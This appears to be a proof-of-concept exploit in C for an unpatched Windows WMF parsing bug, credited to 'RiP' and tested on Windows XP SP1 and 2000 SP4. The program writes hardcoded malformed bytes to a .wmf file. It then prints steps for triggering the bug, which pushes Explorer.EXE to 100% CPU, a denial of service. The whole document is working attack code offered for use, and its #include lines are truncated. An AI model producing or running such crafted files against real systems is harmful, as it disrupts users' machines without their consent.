/* * Created by: RiP * This is a proof of concept for the WMF parsing bug (this has not yet been patched by Microsoft) * Credits go to liquid (liquid@cyberspace.org) * Tested on: Windows XP SP1 and Windows 2000 SP4 */ #include #include #include char hexcode[]= "\xD7\xCD\xC6\x9A\x00\x00\x00\x00\x00\x00\xA1\x21\xEC\x29\xEC\x09" "\x00\x00\x00\x00\xB0\x56\x01\x00\x09\x00\x00\x03\x0E\x00\x00\x00" "\x01\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0B\x02\x00\x00" "\x00\x00"; int main(int argc,char *argv[]) { FILE *wmffile; if (argc < 2) { printf("Syntax: %s \n", argv[0]); exit(1); } if (!(wmffile = fopen(argv[1],"wb"))) { printf("Error opening %s\n", argv[1]); } else { fwrite(hexcode,1,sizeof(hexcode),wmffile); fclose(wmffile); printf("Specially crafted .wmf file\n"); printf("Double click or move the mouse over the file in windows explorer\n"); printf("Then press CTRL+SHIFT+ESC (notice the 100%) and terminate Explorer.EXE\n"); } return 0; } /* EOF */